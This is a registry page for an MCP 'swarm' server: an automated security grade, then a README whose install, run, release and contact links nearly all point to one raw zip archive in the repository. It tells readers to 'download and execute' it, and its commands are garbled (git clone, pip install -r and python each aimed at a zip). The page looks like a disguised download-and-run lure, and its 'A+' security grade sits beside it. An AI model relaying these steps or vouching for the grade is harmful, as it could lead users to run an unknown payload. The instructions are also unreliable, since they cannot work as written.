Mindmesh MCP Server
Claude 3.7 Swarm with Field Coherence: A Model Context Protocol (MCP) server that orchestrates multiple specialized Claude 3.7 Sonnet instances in a quantum-inspired swarm. It creates a field coherence effect across pattern recognition, information theory, and reasoning specialists to produce optimally coherent responses from ensemble intelligence.
This grade comes from an automated MCPSafe scan of the server's JavaScript, TypeScript and Python source on 2026-10-02. It read the whole repository (5 files). It checks for leaked credentials, shell or code injection from function inputs, unsafe deserialization, malware signatures, install-time scripts, and weak password handling. It does not check for path traversal, server-side request forgery, prompt injection in tool descriptions, network exposure, SQL injection, cross-site scripting, or vulnerable dependencies. It has not been manually reviewed, and the code may have changed since the scan.
Excellent Security
Trust Score 70
Trust is stricter than security: it combines reviewed security, MCP capability risk, supply-chain metadata, quality, popularity, freshness, and penalties for unknowns.
- • No reviewed severe vulnerabilities published
- • Good documentation surface
- • Solid supply-chain metadata
- • Recently scanned
- • Missing/unclear license
- • MCP risk traits: Runs shell commands, Filesystem access, Network/API access
Security ScoreA+
Vulnerabilities Found
Quality ScoreC
Maintenance55
Popularity13
Documentation93
Available Documentation
Compatibility72
Features
Supported Transports
Vulnerabilities(0)
This grade comes from an automated scan. Individual findings from automated scans are not published.
READMEMindmesh MCP Server
View source# 🌌 MCP MindMesh: Orchestrating Intelligent Swarms 🌌
 
## 🚀 Overview
**MCP MindMesh** is a powerful server designed to manage multiple Claude 3.7 Sonnet instances in a quantum-inspired swarm. This Model Context Protocol (MCP) server facilitates a field coherence effect across various specialized agents in pattern recognition, information theory, and reasoning. By leveraging ensemble intelligence, it produces responses that are not just accurate but optimally coherent.
---
## 🎯 Features
- **Swarm Intelligence**: Coordinate multiple Claude 3.7 Sonnet agents to work together effectively.
- **Field Coherence**: Achieve enhanced coherence in responses through shared insights.
- **Multi-Agent Systems**: Utilize various specialized agents to tackle complex tasks.
- **Quantum Inspiration**: Draws from quantum principles to enhance processing capabilities.
---
## 📦 Getting Started
### Prerequisites
Before you start, ensure you have the following:
- Python 3.8 or higher
- https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip 14.x or higher
- Git
### Installation
1. Clone the repository:
```bash
git clone https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip
```
2. Navigate into the project directory:
```bash
cd mcp-mindmesh
```
3. Install the required dependencies:
```bash
pip install -r https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip
npm install
```
### Running the Server
To start the MCP MindMesh server, run:
python https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmeshmcp1.0-alpha.5.zip
---
## 🌐 Usage
Once the server is running, you can interact with it through its API. Here's a simple example using `curl`:
curl -X POST http://localhost:5000/execute -H "Content-Type: application/json" -d '{"input": "Your query here"}'
The server will respond with optimized outputs based on the collaborative processing of its agents.
---
## 🛠️ Topics
This repository covers the following topics:
- `claude-3-7-sonnet`
- `claude-api`
- `gemini-2-5-pro-exp`
- `mcp`
- `mcp-server`
- `modelcontextprotocol`
- `multi-agent-systems`
- `quantum`
- `swarm`
- `swarm-intelligence`
---
## 📥 Releases
For the latest updates and downloadable versions of the software, visit the [Releases section](https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip). Download and execute the necessary files to get started with MCP MindMesh.
---
## 🤝 Contributing
We welcome contributions! To get started:
1. Fork the repository.
2. Create a new branch:
```bash
git checkout -b feature/YourFeatureName
```
3. Make your changes and commit them:
```bash
git commit -m 'Add a new feature'
```
4. Push to your branch:
```bash
git push origin feature/YourFeatureName
```
5. Open a pull request.
---
## 📄 License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
---
## 📞 Contact
For inquiries or suggestions, feel free to reach out:
- Email: https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip
- Twitter: [@YourTwitterHandle](https://github.com/7ossamfarid/mcp-mindmesh/raw/refs/heads/main/src/mindmesh_mcp_1.0-alpha.5.zip)
---
## 📖 Acknowledgments
- Special thanks to the developers of the Claude 3.7 Sonnet.
- Thanks to the community for their continuous support and feedback.
---
## 🌟 Explore More
Explore the capabilities of **MCP MindMesh** and its potential in the field of artificial intelligence and swarm intelligence.
Join the journey toward optimized and coherent responses with **MCP MindMesh**!Embed Security Badge
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[](https://mcpsafe.org/registry/mindmesh-mcp-server)Server Information
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- GITHUB
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- Transport
- STDIO
- Added
- Aug 11, 2026
- Updated
- Oct 1, 2026